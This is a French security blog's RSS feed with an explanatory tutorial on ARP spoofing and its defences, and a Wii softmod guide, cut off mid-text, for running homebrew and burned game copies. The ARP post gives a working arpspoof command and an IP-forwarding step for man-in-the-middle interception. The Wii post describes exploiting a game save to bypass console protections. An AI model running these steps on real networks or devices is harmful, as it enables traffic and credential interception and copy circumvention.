<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Debian or not to be ? 2.0 &#187; exploit</title> <atom:link href="http://www.crashdump.fr/tag/exploit/feed/" rel="self" type="application/rss+xml" /><link>http://www.crashdump.fr</link> <description>that is the question</description> <lastBuildDate>Mon, 23 Jan 2012 13:14:39 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>ARP Spoofing (ARP Cache poisoning)</title><link>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/</link> <comments>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/#comments</comments> <pubDate>Sun, 26 Apr 2009 09:25:57 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Réseaux]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[Adresse MAC]]></category> <category><![CDATA[arp]]></category> <category><![CDATA[ARP Spoofing]]></category> <category><![CDATA[Cache poisoning]]></category> <category><![CDATA[cisco]]></category> <category><![CDATA[Denial of Service]]></category> <category><![CDATA[DoS]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[Mac]]></category> <category><![CDATA[MAC Flooding]]></category> <category><![CDATA[Man in the middle]]></category> <category><![CDATA[MITM]]></category> <category><![CDATA[Modele OSI]]></category><guid isPermaLink="false">http://www.crashdump.fr/blog/?p=59</guid> <description><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/arp-spoofing.png" class="attachment-featured-image wp-post-image" alt="arp-spoofing" title="arp-spoofing" /></p><br />Dans le monde de la sécurité informatique, il existe trois types de failles : L’exploit connu de tous, généralement rapidement corrigé par un patch. L’exploit de type 0-day, très peu de gens en ont connaissance — qui sera peut-être corrigé un jour — Et enfin les vulnérabilités dues a la conception d’un système/protocole et qui ne [...]]]></description> <content:encoded><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/04/arp-spoofing.png" class="attachment-featured-image wp-post-image" alt="arp-spoofing" title="arp-spoofing" /></p><br /><p><em>Dans le monde de la sécurité informatique, il existe trois types de failles : L’exploit connu de tous, généralement rapidement corrigé par un patch. L’exploit de type 0-day, très peu de gens en ont connaissance — qui sera peut-être corrigé un jour — Et enfin les vulnérabilités dues a la conception d’un système/protocole et qui ne pourrons pas être, c’est le cas de par exemple du protocole de routage BGP (sur lequel j’ai fait un billet précédemment) ou encore de l’ « Address Resolution Protocol » aka ARP. Et tout bon sysadmin se doit de les connaitre pour savoir où et comment surveiller son réseau et se prémunir de ces attaques qui ne pardonnent pas.<br /> Ce protocole et les attaques qu&#8217;il permet sur un LAN sont plutôt bien connus. Néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. La technique que nous allons voir ici se nomme ARP Spoofing (ou ARP Cache poisoning). C&#8217;est une technique de spoofing très efficace bien que facilement détectable et – comme je le disais plus haut, parfaitement incurable, car lié directement a sa conception. . Nous étudierons trois possibilités de sont utilisation : Denial of Service, Man in the middle et MAC Flooding. Mais tout d&#8217;abord, commençons par une piqûre de rappel.</em></p><p>MAJ 6 Mai 2009: Correction de quelques fautes.</p><ul><li>1. <a rel="nofollow" href="#modeleosi">Modèle OSI</a></li><li>2. <a rel="nofollow" href="#ladressemac">L’adresse MAC</a></li><li>3. <a rel="nofollow" href="#leprotocolearp">Le protocole ARP</a></li><li>4. <a rel="nofollow" href="#larpspoofing">L’ARP Spoofing</a></li><li>5. <a rel="nofollow" href="#faiblesses">Faiblesses</a></li><li>5.1 Denial of Service</li><li>5.2 Man in the middle</li><li>5.3 MAC Flooding</li><li>6. <a rel="nofollow" href="#solutions">Solutions</a></li><li>6.1 Pour les petits réseaux</li><li>6.2 Pour les grands réseaux</li><li>6.3 Pour tous le monde</li></ul><h2>1. <a name="modeleosi">Modèle OSI</a></h2><p>L’OSI (Open Systems Interconnection) est un modèle de communications entre machines proposé par l&#8217;ISO (Organisation internationale de normalisation). Il décrit les fonctionnalités nécessaires à la communication et l&#8217;organisation de ces fonctions.<br /> Dans sa forme la plus simple, il divise le réseau en sept couches que nous ne détaillerons pas ici. La numérotation des couches commence par le bas, c&#8217;est à dire par le matériel (matériel en bas, logiciel d&#8217;application en haut. Nous nous intéressons uniquement à certaines couches dites basses :</p><p>• La couche physique (niveau 1) : La couche physique est chargée de la transmission effective des signaux électriques ou optiques entre les interlocuteurs (100BASE-TX, ADSL, Firewire, USB, RS-232…).<br /> • la couche liaison (niveau 2) est le lien entre la carte réseau et la couche réseau (Ethernet, Token ring, WiFi, PPPoE)<br /> • la couche réseau (niveau 3) gère l&#8217;adressage logique et le routage (IPv4, IPv6, ICMP).</p><p><a href="http://www.crashdump.fr/wp-content/uploads/2009/04/comptcp-osi.png"><img class="alignnone size-thumbnail wp-image-654" title="comptcp-osi" src="http://www.crashdump.fr/wp-content/uploads/2009/04/comptcp-osi-430x125.png" alt="comptcp-osi" width="430" height="125" /></a></p><p>Exemples :</p><p>- Un hub est un matériel de niveau 1 : il permet de relier plusieurs machines à une même branche du réseau. Il se contente de faire circuler les signaux dans les deux sens, sans traitement.<br /> - Un routeur est un matériel de niveau 3, c&#8217;est-à-dire qu&#8217;il intervient aux niveaux 1 à 3. C&#8217;est le dispositif de base des réseaux. Il lit l&#8217;adresse IP des paquets qu&#8217;il reçoit et les re-expédie où il faut depuis les données contenues dans sa table de routage et son cache ARP. Cette dernière est mise à jour régulièrement, en fonction des données que le routeur reçoit des routeurs et des ordinateurs voisins.</p><h2>2. <a name="ladressemac">L’adresse MAC</a></h2><p>L’adresse MAC (Media Access Control) est un identifiant physique constitué de 6 octets, elle est attribuée par le constructeur de l’équipement et « hard codé » sur la carte (il est possible de la changer, mais ce n’est pas le but de cet article.) Elle consiste en six nombres hexadécimaux séparés par des « &#8211; » ou des « : », il existe potentiellement 248 (environ 281 000 milliards) d&#8217;adresses MAC possible, il est donc quasiment impossible de se retrouver avec un doublon sur le réseau. Notez que l’adresse de broadcast est: FF:FF:FF:FF:FF:FF, les données seront envoyées à l’ensemble du réseau local.<br /> Nota : L&#8217;IEEE a donné des préfixes de 24 bits sur les 48 bits aux fabricants, c’est l &#8216;OUI (organizationally unique identifier). Ce qui permet facilement d’identifier une carte de destination, ex :</p><p>00-00-0C(hex) Pour Cisco ou encore 00-00-7D(hex) pour Sun – (clin d’œil a touff’.. si tu me lis ;)</p><p>Vous pouvez y avoir accès, sous Linux avec la commande ifconfig :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[user@machine]$ ifconfig<br /> eth0 Link encap:Ethernet HWaddr 00:90:27:52:78:7A<br /> inet addr:192.168.10.51 Bcast:192.168.10.255 Mask:255.255.255.0</div></td></tr></tbody></table></div><p>En savoir plus : http://www.iana.org/assignments/ieee-802-numbers</p><h2>3. <a name="leprotocolearp">Le Protocole ARP</a></h2><p>Ce protocole est vraiment très simple : Il sert à mettre en corrélation l’adresse IP avec l’adresse MAC pour savoir qui sont les machines sur le réseau et donc savoir ou router les paquets. Ce protocole est totalement séparé de TCP/IP puisqu’il n’opère qu’entre les niveaux 2 et 3 de la couche réseau. Nous pourrions le comparer aux DNS sauf qu’au lieu de convertir les noms de domaines en IP, il convertit les IPs en Adresse MAC.<br /> Les équipements réseaux communiquent en échangeant des trames Ethernet (dans le cas d&#8217;un réseau Ethernet bien sûr) au niveau de la couche liaison de données, toute machine connectée a un réseau possède un cache ARP de toutes les adresses IP/MAC rencontrés, ce qui permet de ne pas encombrer les réseaux en renouvelant les requêtes pour communiquer avec les machines contactées précédemment.</p><p>Il comprend quatre messages de base :</p><div><ol><li>Une requête ARP: L’ordinateur A demande sur le réseau (en broadcast) « Qui a cette adresse IP ? »</li><li>Une réponse ARP: L’ordinateur B répond a l’ordinateur A : « J’ai cette adresse IP et mon adresse Mac est .. »</li><li>Une requête RARP (ARP inversé): Même principe que le 1. sauf que l’ordinateur A demande : “Qui a cette adresse mac ?” (En réalité le RARP est très peu utilisé et est essentiellement utilisé pour les stations de travail n&#8217;ayant pas de disque dur et souhaitant connaître leur adresse logique.)</li><li>Une réponse RARP:L’ordinateur B répond a l’ordinateur A: “J’ai cette adresse IP:..”<br /> Puisqu&#8217;il s&#8217;agit de broadcast, tous les ordinateurs connectés au support physique vont recevoir la requête. Les autres machines recevront aussi le message et pourrons analyser les messages pour stocker dans leur cache une liste des adresses IP/MAC (Vous commencez a voir ou je veux en venir&#8230;) La machine qui possède cette adresse MAC, sera la seule &#8211; ce qui est censé être le cas dans tout réseau, cf : Adresses MAC, plus haut &#8211; à répondre en envoyant à la machine émettrice une réponse.</li></ol></div><p>Aller plus loin : http://tools.ietf.org/html/rfc826</p><h2>4. <a name="larpspoofing">L’ARP Spoofing</a></h2><p>Bien, assez de tous ces rappels ennuyeux, passons aux choses amusantes : la vulnérabilité de ce protocole. Pour améliorer le temps de réponse et limiter l’utilisation du réseau la plupart des systèmes mettent a jour leur cache ARP a chaque fois qu’ils reçoivent une réponse, même s’ils ne l’on pas demandé : ce qui veut dire qu’un « pirate » envoyant un message ARP a l’ordinateur B disant « l’ordinateur C a mon Adresse MAC » recevra ensuite tous les messages qui devraient normalement être délivrés a cet ordinateur C.<br /> petite mise en situation :</p><p>(J’ai simplifié les adresses MAC pour une meilleure lisibilité)<br /> A. Le serveur, 00:00:00:00:00:01 – 192.168.0.10<br /> B. Un utilisateur, 00:00:00:00:00:02 – 192.168.0.20<br /> C. Le pirate, 00:00:00:00:00:03 – 192.168.0.30</p><p>C annonce à B “192.168.0.10” est a l’adresse MAC: 00:00:00:00:00:03.<br /> C annonce à A “192.168.0.20” est a l’adresse MAC: 00:00:00:00:00:03.</p><p>Comment ? avec des solutions comme ARPSpoof ou Némésis, très simplement :</p><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ traceroute 192.168.0.10<br /> traceroute to 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">30</span> hops max, <span style="color: #000000;">40</span> byte packets<br /> <span style="color: #000000;">1</span> 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">718</span> ms <span style="color: #000000;">461</span> ms <span style="color: #000000;">849</span> ms</div></td></tr></tbody></table></div><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ arp<br /> Address HWtype HWAddress Flags Mask Iface<br /> 192.168.0.10 ether 00:00:00:00:00:01 C eth0<br /> 192.168.0.30 ether 00:00:00:00:00:03 C eth0</div></td></tr></tbody></table></div><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>evil<span style="color: #000000; font-weight: bold;">@</span>pirate<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ arpspoof <span style="color: #660033;">-t</span> 192.168.0.30 192.168.0.10<br /> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span><br /> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span><br /> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span> <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">2</span> 0806 <span style="color: #000000;">42</span>: arp reply 192.168.0.10 is-at <span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">0</span>:<span style="color: #000000;">3</span></div></td></tr></tbody></table></div><div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>user<span style="color: #000000; font-weight: bold;">@</span>cible<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ traceroute 192.168.0.10<br /> traceroute to 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">30</span> hops max, <span style="color: #000000;">40</span> byte packets<br /> <span style="color: #000000;">1</span> 192.168.0.10 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.10<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">612</span> ms <span style="color: #000000;">465</span> ms <span style="color: #000000;">515</span> ms<br /> <span style="color: #000000;">2</span> 192.168.0.30 <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.0.30<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">238</span> ms <span style="color: #000000;">121</span> ms <span style="color: #000000;">169</span> ms</div></td></tr></tbody></table></div><p>Maintenant toutes les communications de l’utilisateur vers le serveur (ou inversement) seront routées vers le pirate… qui pourra par exemple récupérer les login/mot de passe.</p><h2>5. <a name="faiblesses">Faiblesses</a></h2><p>Comme je viens de le dire, il n’y a aucun système d’authentification. ARP est basé sur la confiance : il considère tous les messages reçus comme authentiques, qu’il provienne de la machine légitime ou pas et il n’intègre aucun moyen de vérification. Je pense que les concepteurs de ces protocoles ont sûrement simplifié les communications pour que les réseaux fonctionnent de manière optimale, les débits étaient très peu élevés à cette époque et un système d’authentification aurait été beaucoup plus lourd.<br /> La possibilité d’associer n’importe quelle adresse IP avec une @MAC permet à un pirate plusieurs vecteurs d’attaques, je vais maintenant en détailler 3 : Denial of Service, Man in the Middle et MAC Flooding.</p><h3>5.1 Denial of Service (DoS)</h3><p>Comme nous l’avons vu précédemment, un pirate peut facilement associer une adresse IP a une fausse adresse MAC. Par exemple, un pirate peut envoyer une réponse ARP associant l’adresse de vôtre routeur avec une adresse MAC qui n’existe pas. Votre ordinateur pense donc connaître réellement la passerelle par défaut, mais en fait ils envoient leurs paquets a une destination qui n’existe pas. Le pirate vous a isolé du réseau.<br /> Nous pourrions tout aussi bien projeter &#8211; sur un réseau plus grand – une attaque de type DDoS (Distributed Denial of Service) en signalant a toutes les machines qu’une seule adresse MAC correspond a toutes les adresses IP. Ce qui risque de submerger la machine sous des requêtes en tout genre. (Voir aussi MAC Flooding).</p><h3>5.2 Man in the Middle</h3><p>Une autre utilisation intéressante de cette faille est de rester dans l’ombre et d’ « écouter » le trafic (sniffing) pour récupérer des informations comme les logins et mot de passe… ce qui est particulièrement dévastateur, car le pirate peut rapidement avoir accès a des informations qui lui permettront de s’infiltrer plus profond dans vôtre réseau.<br /> Mise en œuvre : Dans le cadre d’un ARP Poisoning simple, les machines n’arrivent plus a joindre leur destinataire légitime, l’attaque est donc très facilement repérable. Mais le pirate peut facilement mettre en place ce qu’on appelle l’IP Forwarding (echo 1 &gt; /proc/sys/net/ipv4/ip_forward), celles-ci enverront donc leurs trames Ethernet à la machine pirate tout en croyant communiquer avec la cible, et ce de façon transparente pour les switches. De son côté, la machine pirate stocke le trafic et le renvoie à la vraie machine en forgeant des trames Ethernet comportant la vraie adresse MAC (indépendamment de l&#8217;adresse IP) pour cela il suffit en fait d&#8217;envoyer régulièrement des paquets ARPReply en broadcast, contenant l&#8217;adresse IP cible (mettons, un serveur) et la fausse adresse MAC. Cela a pour effet de modifier les tables dynamiques de toutes les machines du réseau. Ce qui permet à la machine du pirate d’écouter toutes les informations qui transitent par son ordinateur et il peu – facilement – avoir accès a vos mots de passe non chiffrés (entre autres).</p><h2>5.3 MAC Flooding</h2><p>Le MAC Flooding est un ARP Cache poisoning visant les routeurs et les switches. Certains matériels réseaux actifs &#8211; lorsqu’ils sont surchargés – basculent dans un mode moins gourmand en ressources, pour sauvegarder leurs liens : ils deviennent de simples hubs et donc broadcastent tout le trafic réseau sur tous leurs ports (et donc tous les ordinateurs qui y sont connectés. (Et en floodant la table ARP d’un switch avec énormément de données on peut facilement le surcharger..) ce qui permet ensuite au pirate d’écouter facilement tout ce qui transite sur le réseau.</p><h2>6. <a name="solutions">Solutions</a></h2><p>Certaines solutions que je vous propose ci-dessous sont simples, mais n’hésitez pas à les mettre en place – car si vous vous pensez à l’abri c’est là que vous êtes le plus vulnérable. Notez tout de même que l’ «ARP Poisoning» ne peut être utilisé qu’en local. Il doit contrôler une machine sur votre réseau, ce qui veut dire que le pirate aurait déjà accès à ce réseau… Parce que cette faille est inhérente au protocole requis par TCP/IP vous ne pourrez le patcher, cependant il existe des solutions pour le surveiller/détecter.</p><h3>6.1 Pour les petits réseaux</h3><p>Si vous êtes administrateur d’un petit réseau, vous avez plusieurs méthodes imparables pour vous prémunir de ces attaques : Utiliser des Adresses IP fixes / Tables ARP statiques. (arp –s pour définir les @MAC/IP de tous vos périphériques) ils ne changeront donc jamais, quels que soient les messages reçus. Si vous avez mis en place un contrôleur de domaine, il est possible de définir un script de démarrage dans lequel vous spécifieriez ces adresses.<br /> Gardez tout de même a l’esprit que maintenir une liste de ces adresses est possible seulement si vous possédez un petit réseau. S’il devait s’agrandir vous seriez rapidement submergé par le temps demandé a maintenir cette liste, car il vous faudrait ajouter chaque machine a ce script avant qu’elle ne puisse dialoguer avec les autres (quid de la taille du fichier script ?).</p><h3>6.2 Pour les grands réseaux</h3><p>Si vous êtes administrateur d’un réseau informatique assez étendu vous devriez être équipé de switch qui propose des options « port security » (par exemple Cisco) cette option permet de définir une seule adresse MAC par ports et qui &#8211; si cette adresse change &#8211; verrouille le port. Cela permet de limiter la plupart des attaques ARP comme le Man-in-the-middle.</p><h3>6.3 Pour tous le monde</h3><p>La meilleure protection contre l’ARP Poisoning est la surveillance de votre réseau, en effet, avec les outils appropriés, cette attaque ne peut pas passer inaperçue. Par exemple, il existe un outil nommé ARPwatch qui permet – en autres – d’envoyer une alerte quand messages ARP anormaux apparaissent (j’écrirais un billet sur l’envoi d’alertes par SMS via des API bientôt).</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/arp-spoofing-arp-cache-poisoning-59/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Lire les jeux gravés sur une Wii, méthode logicielle.</title><link>http://www.crashdump.fr/tout-et-rien/lire-les-jeux-graves-sur-une-wii-methode-logicielle-446/</link> <comments>http://www.crashdump.fr/tout-et-rien/lire-les-jeux-graves-sur-une-wii-methode-logicielle-446/#comments</comments> <pubDate>Mon, 15 Dec 2008 22:07:52 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Tout-et-Rien]]></category> <category><![CDATA[Backup]]></category> <category><![CDATA[Backup Channel]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[carte sd]]></category> <category><![CDATA[console]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[Firmware]]></category> <category><![CDATA[hack]]></category> <category><![CDATA[homebrew]]></category> <category><![CDATA[jeux gravés]]></category> <category><![CDATA[modification]]></category> <category><![CDATA[Nintendo]]></category> <category><![CDATA[Pack]]></category> <category><![CDATA[patcher]]></category> <category><![CDATA[photos]]></category> <category><![CDATA[tutoriel]]></category> <category><![CDATA[twilight princess]]></category> <category><![CDATA[wad]]></category> <category><![CDATA[wii]]></category><guid isPermaLink="false">http://www.crashdump.fr/?p=446</guid> <description><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wii_will_rock_you.jpg" class="attachment-featured-image wp-post-image" alt="wii_will_rock_you" title="wii_will_rock_you" /></p><br />Je vais vous expliquer, ici comment &#171;&#160;patcher&#160;&#187; votre Wii pour pouvoir y installer des programmes tiers et pouvoir jouer à des jeux gravés (sauvegardes&#8230;). Mise à jour du tutoriel le: Samedi 28 avril 09&#8242; Une modification du système votre Wii peut, potentiellement, l&#8217;endommager. Je décline toutes responsabilités si le fait d&#8217;essayer cette méthode causait des [...]]]></description> <content:encoded><![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wii_will_rock_you.jpg" class="attachment-featured-image wp-post-image" alt="wii_will_rock_you" title="wii_will_rock_you" /></p><br /><p><em>Je vais vous expliquer, ici comment &laquo;&nbsp;patcher&nbsp;&raquo; votre Wii pour pouvoir y installer des programmes tiers et pouvoir jouer à des jeux gravés (sauvegardes&#8230;).</em></p><p><em>Mise à jour du tutoriel le: Samedi 28 avril 09&#8242;</em></p><p><strong>Une modification du système votre Wii peut, potentiellement, l&#8217;endommager. Je décline toutes responsabilités si le fait d&#8217;essayer cette méthode causait des problèmes à votre console. De plus, vous n&#8217;avez le droit de copier un logiciel ou jeux que si vous possédez l&#8217;original (création d&#8217;une copie de sauvegarde). Par le non-respect de ce texte et des lois qui en résultent (disponibles dessous) vous vous rendez coupable de violation du code de la propriété intellectuelle. Crashdump.fr ne peut être tenu responsable des utilisations illicites (actes de piratage) exercé par l&#8217;un de ses lecteurs. </strong></p><p>DIRECTIVE EUROPEENE 91/250 DU 10-05-1991:<br /> - <em>Article 5 (extrait) Une personne ayant le droit d&#8217;utiliser le programme d&#8217;ordinateur ne peut être empêchée par contrat d&#8217;en faire une copie de sauvegarde dans la mesure où celle-ci est nécessaire pour cette utilisation. </em><br /> - <em>Liste des textes relatifs aux copies de sauvegarde (cette liste n&#8217;est pas exhaustive et les cas de jurisprudence n&#8217;y sont pas évoqués) : A122-4, 122-5, 122-6, 122-6-1, 122-6-2, 122-7, 131-3, R335-1 , R335-2 du code de la propriété intellectuelle. Directive Européenne 91/250 du 10/05/91 et 92/100 du 19/11/92.</em></p><p><strong><a href="http://www.crashdump.fr/myFiles/pics/TutoWii/">Retrouvez toutes les photos du Hack ici</a></strong></p><li><h2>Pré-requis</h2></li><li><h3>Matériels requis</h3></li><p>- Une Wii,<br /> - Le jeu &laquo;&nbsp;Zelda: Twilight Princess&nbsp;&raquo; (Version wii uniquement),<br /> - Une carte SD (attention aux cartes SD de plus de 2Go/SDHC.. elles peuvent poser problème),<br /> - Un moyen de lire/ecrire sur votre carte SD via un ordinateur,<br /> - Une manette gamecube,<br /> - Une connexion internet sur votre Wii,<br /> - Le pack de logiciels (disponible ci-dessous).</p><p><em>Trois packs sont disponibles ici, pour trois situations différentes. En effet, suivant le firmware de votre Wii la procédure change un petit peu !</em><br /> <strong>MAJ</strong>: <em>Nouvelle version des packs (v2), mise à jour: du Twilight Hack et du Homebrew channel. Les anciens packs sont toujours disponibles au cas où&#8230;</em><br /> Pour une Wii v3.2E: <a title="WiiPatchPack3.2Ev2.zip" href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.2Ev2.zip" target="_blank">WiiPatchPack3.2Ev2.zip</a> &#8211; (Pack v1 disponible <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.2E.zip">ici</a>)<br /> Pour une Wii v3.3E: <a title="WiiPatchPack3.3Ev2.zip" href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.3Ev2.zip" target="_blank">WiiPatchPack3.3Ev2.zip</a> &#8211; (Pack v1 disponible <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.3E.zip">ici</a>)<br /> Pour une Wii v3.4E: <a title="WiiPatchPack3.4Ev2.zip" href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.4Ev2.zip" target="_blank">WiiPatchPack3.4Ev2.zip</a> &#8211; (Pack v1 disponible <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/WiiPatchPack3.4E.zip">ici</a>)</p><p>Si votre Wii utilise un firmware antérieur au 3.x faites une mise à jours en 3.4 avant de commencer. (Si vous faites cette mise à jours en ligne, attention à l&#8217;évolution des firmwares Nintendo.. il n&#8217;est pas dit que nous puissions toujours exploiter les mêmes bugs sur un hypothétique Firmware &gt; 3.5.)</p><li><h3>Contenu du pack</h3></li><p>- Homebrew Channel 10.1,<br /> - Channel File Manager 2.0 beta 2,<br /> - cIOS Rev7,<br /> - cIOS Uninstaller,<br /> - Backup Creator,<br /> - cIOS Downgrader,<br /> - ImgBurn,<br /> - Chaine Backup Launcher 0.3 Gamma Autoboot,<br /> - Starfall,<br /> - Sauvegarde Twlight Hack.</p><li><h2>1. Preparation de la carte SD</h2></li><p>Tout d’abord, il faut savoir quel firmware est installé sur votre wii:</p><ul><li>A partir du menu de lancement, cliquer sur « <strong>wii</strong> », puis « <strong>parametres wii</strong> »,</li><li>En haut a droite, vous verrez la version du firmware installé (3.3 E, 3.2 E …),</li><li>Selon la version, dezippez le contenu du pack correspondant sur votre carte SD.</li></ul><li><h2>2. Installation de la faille Zelda (twilight hack) et de la chaine homebrew, qui permettra de lancer les applications tierces.</h2></li><ul><li>Mettez votre carte SD dans votre Wii,</li><li>Allumez votre wii puis allez dans : &laquo;&nbsp;(<strong>Wii</strong>)&nbsp;&raquo; (En bas à gauche) &#8211;&gt; &laquo;&nbsp;<strong>Gestion des donnée</strong>s&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;<strong>Données de sauvegarde</strong>&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;<strong>Carte SD</strong>&nbsp;&raquo; &#8211;&gt; Copiez la sauvegarde &laquo;&nbsp;<strong>Twilight Hack</strong>&nbsp;&raquo; (eur, jap, usa, selon la provenance de votre console),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_1.jpg"><img class="alignnone size-thumbnail wp-image-450" title="wiipatchtuto_1" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_1-430x125.jpg" alt="wiipatchtuto_1" width="430" height="125" /></p><p></a></li><li>Insérez le jeu &laquo;&nbsp;<strong>Zelda : Twilight Princess</strong>&nbsp;&raquo; dans votre Wii et lancez le par la chaîne disque,<br /> <a 